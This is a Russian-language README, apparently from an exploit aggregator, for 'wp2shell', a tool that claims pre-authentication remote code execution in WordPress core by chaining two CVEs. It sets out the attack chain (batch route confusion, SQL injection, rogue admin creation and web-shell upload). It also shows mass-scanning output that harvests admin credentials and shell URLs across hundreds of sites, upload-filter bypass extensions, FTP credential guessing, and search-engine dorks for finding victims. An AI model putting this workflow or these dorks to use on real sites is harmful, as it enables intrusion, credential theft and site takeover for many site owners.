Exploit for CVE-2026-63030 CVE-2026-60137 CVE-2026-63030

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ANGGATECHI-CVE-2026-63030
# wp2shell — RCE ядра WordPress до аутентификации

**CVE-2026-63030** (путаница маршрутов Batch) + **CVE-2026-60137** (SQL-инъекция)

![](https://img.shields.io/badge/CVE-2026--63030-red?style=for-the-badge) ![](https://img.shields.io/badge/CVE-2026--60137-red?style=for-the-badge) ![](https://img.shields.io/badge/CVSS-9.1-critical?style=for-the-badge) ![](https://img.shields.io/badge/WP-6.9.0--7.0.1-blue?style=for-the-badge) ![](https://img.shields.io/badge/python-3.11+-green?style=for-the-badge)

Инструментарий эксплуатации без внешних зависимостей для цепочки уязвимостей wp2shell в ядре WordPress. Один анонимный HTTP-запрос даёт удалённое выполнение кода в стандартной установке WordPress — плагины не требуются.

* * *

## 📋 Оглавление

  * Затронутые версии
  * Схема эксплуатации
  * Быстрый старт
  * Демо
  * Возможности
  * Методы загрузки
  * Выходные файлы
  * Дорки / Поиск
  * Ссылки
  * Отказ от ответственности



* * *

## 🎯 Затронутые версии

Диапазон| Влияние| Исправлено в  
---|---|---  
**7.0.0 – 7.0.1**|  Полная RCE| 7.0.2  
**6.9.0 – 6.9.4**  
  
> **Плагины или особая конфигурация не требуются.** Эксплуатируется «голая» установка WordPress.

* * *

## 🔗 Схема эксплуатации

root@kitploit:~
    
    
    ┌─────────────────────────────────────┐
    │  ANONYMOUS HTTP REQUEST             │
    │  POST /?rest_route=/batch/v1        │
    └────────────────┬────────────────────┘
                     │
    ┌────────────────▼────────────────────┐
    │  CVE-2026-63030: Batch Desync       │
    │  Malformed path → WP_Error →        │
    │  Array misalignment → Auth Bypass   │
    └────────────────┬────────────────────┘
                     │
    ┌────────────────▼────────────────────┐
    │  CVE-2026-60137: SQL Injection      │
    │  author__not_in → unsanitized →     │
    │  UNION SELECT extraction            │
    └────────────────┬────────────────────┘
                     │
         ┌───────────┼───────────┐
         │           │           │
    ┌────▼────┐ ┌───▼────┐ ┌───▼──────────┐
    │ oEmbed  │ │ Blind  │ │ Changeset    │
    │ Seeding │ │ SQLi   │ │ Re-entrancy  │
    │ Write   │ │ Read   │ │ Escalation   │
    │ Cache   │ │ IDs    │ │ → Admin User │
    └────┬────┘ └───┬────┘ └───┬──────────┘
         │           │           │
         └───────────┼───────────┘
                     │
    ┌────────────────▼────────────────────┐
    │  ADMIN CREATED (pre-auth!)          │
    │  → Login → Upload Shell (7 methods) │
    └─────────────────────────────────────┘
    

* * *

## 🚀 Быстрый старт

root@kitploit:~
    
    
    pip install requests
    python exploit.py
    

root@kitploit:~
    
    
    ╔══════════════════════════════════════════════════════════════╗
    ║  WP2SHELL — WordPress Core Pre-Auth RCE Exploit              ║
    ║  CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137    ║
    ║  Affected: WP 6.9.0 – 7.0.1  |  Fixed: 6.9.5 / 7.0.2       ║
    ╚══════════════════════════════════════════════════════════════╝
    
      [?] Target [url/list.txt] > list.txt
      [?] Threads [15] > 15
    

### Одиночная цель

root@kitploit:~
    
    
    python exploit.py
    

root@kitploit:~
    
    
      [?] Target [url/list.txt] > https://vulnerable-site.com
    
      ┌────────────────────────────────────────────────────────┐
      │                    SCAN CONFIGURATION                   │
      ├────────────────────────────────────────────────────────┤
      │  Targets : 1       Threads  : 1      Dir  : wp_core_rce│
      └────────────────────────────────────────────────────────┘
    
      ┌────────────────────────────────────────────────────────┐
      │  EXPLOIT SUCCESS                                       │
      ├────────────────────────────────────────────────────────┤
      │  Method : direct-plugin                                │
      │  Shell  : https://target.com/wp-content/plugins/...  │
      │  Login  : https://target.com/wp-login.php              │
      │  User   : wp2s_abc123def                               │
      │  Pass   : WP2S!xxxxxxxxxxxxxxxx                        │
      └────────────────────────────────────────────────────────┘
    

### Массовое сканирование

root@kitploit:~
    
    
    python exploit.py
    

root@kitploit:~
    
    
    ┌────────────────────────────────────────────────────────┐
    │                    SCAN CONFIGURATION                   │
    ├────────────────────────────────────────────────────────┤
    │  Targets : 500    Threads  : 15     Dir  : wp_core_rce │
    └────────────────────────────────────────────────────────┘
    ┌────────────┬────────────────────────────────────────┬──────────────┐
    │            │                                        │              │
    │  #/TOTAL   │ HOST                                   │ STATUS       │
    ├────────────┼────────────────────────────────────────┼──────────────┤
    │    1/500   │ vulnerable-site.com                    │ SHELL        │
    │            │   ↳ direct-plugin → https://vulnerabl...             │
    │    2/500   │ target2.com                            │ ADM          │
    │    3/500   │ safe-site.org                          │ SQLi         │
    │    4/500   │ nope.com                               │ NO           │
    │    5/500   │ jackpot.net                            │ SHELL        │
    │            │   ↳ theme-editor → https://jackpot.ne...              │
    └────────────┴────────────────────────────────────────┴──────────────┘
    ┌────────────────────────────────────────────────────────┐
    │  SHELL     2   ADMIN    3   SQLi   15   TOTAL    50/500│
    └────────────────────────────────────────────────────────┘
    ├────────────────────────────────────────────────────────┤
    │  result.txt         │  admin credentials               │
    │  result_upload.txt  │  shell upload URLs               │
    │  log/scanned.txt    │  scanned hosts                   │
    └────────────────────────────────────────────────────────┘
    

* * *

## ✨ Возможности

  * **Без зависимостей** — только стандартная библиотека Python 3.11+ (`requests` — только для expander)
  * **Многопоточность** — 15 потоков по умолчанию, до 30
  * **Автопродолжение** — `log/scanned.txt` пропускает уже просканированные цели
  * **Тихий пакетный режим** — чистый табличный вывод, без спама в логах
  * **Автоопределение** — проверка доступности WordPress + batch API + SQLi
  * **7 параллельных методов загрузки** — гонка «первый успешный побеждает»



* * *

## 📤 Методы загрузки

Все 7 методов выполняются параллельно через `ThreadPoolExecutor`. Побеждает первый успешный метод, остальные отменяются.

**Расширения для загрузки через медиабиблиотеку:** `.phtml` `.php5` `.php7` `.php8` `.pht` `.phar` `.shtml` `.php4` `.phps` `.phtm` `.Php5` `.PhP5` `.pHtml` `.phP` `.PHP`

**Перебираемые учётные данные FTP:** `localhost` / `127.0.0.1` с `root` / `www-data` / учётными данными администратора WordPress

* * *

## 📁 Выходные файлы

Файл| Содержимое  
---|---  
`result.txt`| Учётные данные администратора: `url.com/wp-login.php:user:pass`  
`result_upload.txt`| URL шеллов: `shell_url | login_url:user:pass | method`  
  
* * *

## 🔍 Дорки / Поиск

### Shodan

root@kitploit:~
    
    
    http.title:"WordPress"
    http.component:"WordPress"
    

### Fofa

root@kitploit:~
    
    
    app="WordPress"
    body="wp-json"
    body="/batch/v1"
    

### ZoomEye

root@kitploit:~
    
    
    app:"WordPress"
    "/wp-json/batch/v1"
    

### Censys

root@kitploit:~
    
    
    services.http.response.body:"/wp-json/batch/v1"
    

* * *

## 📚 Ссылки

  * Бюллетень безопасности Searchlight Cyber
  * Технический блог Hadrian
  * Релиз WordPress 7.0.2
  * Исследование Assetnote
  * Аналитика угроз Wordfence



* * *

## ⚠️ Отказ от ответственности

Этот инструмент предназначен **только для авторизованных исследований безопасности и тестирования на проникновение**. Используйте его только на системах, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Авторы не несут ответственности за неправомерное использование.

* * *

## 📄 Лицензия

Лицензия MIT. Подробнее см. в LICENSE.